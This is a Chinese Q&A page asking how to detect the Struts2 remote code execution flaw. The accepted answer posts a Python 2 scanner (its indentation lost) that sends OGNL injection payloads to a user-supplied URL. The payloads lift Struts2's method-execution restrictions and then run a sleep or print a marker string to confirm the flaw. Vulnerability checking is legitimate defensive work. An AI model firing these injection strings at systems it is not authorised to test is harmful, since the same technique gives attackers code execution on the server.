如何检验struts2远程调用漏洞

 我来答
沸腾吧凉白开
2018-12-12 · TA获得超过1.5万个赞
知道大有可为答主
回答量:1.4万
采纳率:75%
帮助的人:3127万
展开全部
可以在腾讯智慧安全页面申请使用腾讯御点
然后使用这个软件上面的修复漏洞功能
直接对电脑的漏洞进行检测和修复就可以了
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
就烦条0o
2016-05-02 · 知道合伙人软件行家
就烦条0o
知道合伙人软件行家
采纳数:33315 获赞数:46493
从事多年系统运维,喜欢编写各种小程序和脚本。

向TA提问 私信TA
展开全部
Struts2远程代码执行漏洞检测检测

==============================================================

import os,sys
import httplib
import string
import time
import urlparse

def SendHTTPRequest(strMethod,strScheme,strHost,strURL,strParam):
headers = {
"Accept": "image/gif, */*",
"Referer": strScheme + "://" + strHost,
"Accept-Language": "zh-cn",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Host": strHost,
"Connection": "Keep-Alive",
"Cache-Control": "no-cache"
}
strRet=""
time_inter=0
try:
time1=0
time2=0
time1=time.time() * 1000
if strScheme.upper()=="HTTPS":
con2 = httplib.HTTPSConnection(strHost)
else:
con2 = httplib.HTTPConnection(strHost)

if strMethod.upper()=="POST":
con2.request(method="POST",url= strURL, body=strParam, headers=headers)
else:
con2.request(method="GET",url= strURL, headers=headers)
r2 = con2.getresponse()
strRet= r2.read().strip()
time2=time.time() * 1000
time_inter=time2-time1
con2.close
except BaseException,e:
print e
con2.close
return (time_inter,strRet)

def RunTest1(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))"""
(inter1,html1)=SendHTTPRequest("GET",strScheme,strHost,strURL,"")
(inter2,html2)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
if (inter2 - inter1)>6000:
return True
else:
return False

def RunTest2(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(d))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(asdf)(('\\43rp\\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\\43rp.getWriter().print("struts2-security")')(d))&(fgd)&(grgr)(('\\43rp.getWriter().close()')(d))=1"""
(inter1,html1)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
if html1.find("struts2-security")>=0:
return True
else:
return False

def RunTests(strURL):
t_url=urlparse.urlparse(strURL)
strScheme=t_url.scheme
strHost = t_url.netloc
strURL1 = t_url.path
print "Checking " + strURL
if RunTest2(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
elif RunTest1(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
else:
print "Secure."
return False

if __name__ == "__main__":
if len(sys.argv)!=2:
print "INVALID ARGUMENTS."

print "USAGE : python struts_scan.py http(s)://target.url"
exit()

m_URL=sys.argv[1]
RunTests(m_URL)
本回答被网友采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式